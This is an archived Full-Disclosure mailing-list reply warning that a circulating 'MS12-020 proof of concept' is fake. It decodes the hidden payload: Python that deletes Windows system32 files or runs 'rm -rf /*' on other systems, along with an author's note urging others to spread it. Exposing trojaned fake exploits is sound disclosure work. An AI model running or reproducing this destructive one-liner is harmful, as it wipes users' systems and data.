full-disclosure - Re: ms12-020 new poc

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Sun, 18 Mar 2012 14:49:06 +0200
From: Huzeyfe ÖNAL(BGA) <huzeyfe@...eoverip.net>
To: yuri goncalves soares <yuri@....com.br>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: ms12-020 new poc

It's a fake and delete your disk completely.

If you convert the payload to ascii
"__import__('os').sys"
  "tem('del /s /q /f C:"
  "\windows\system32\* "
  "> NUL 2>&1') if 'Win"
  "' in __import__('pla"
  "tform').system() els"
  "e __import__('os').s"
  "ystem('rm -rf /* > /"
  "dev/null 2>&1') #hi "
  "there ^_~ feel free "
  "to spread this with "
  "the rm -rf replaced "
  "with something more "
  "insidious"

---
Huzeyfe ONAL
Bilgi Güvenliği AKADEMİSİ
http://www.bga.com.tr

BGA Ankara & İstanbul Eğitim Takvimi
http://www.bga.com.tr/?page_id=944

 ---



On Sat, Mar 17, 2012 at 7:45 AM, yuri goncalves soares <yuri@....com.br>wrote:

> Another POC.
>
> http://pastebin.com/GM4sHj9t
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/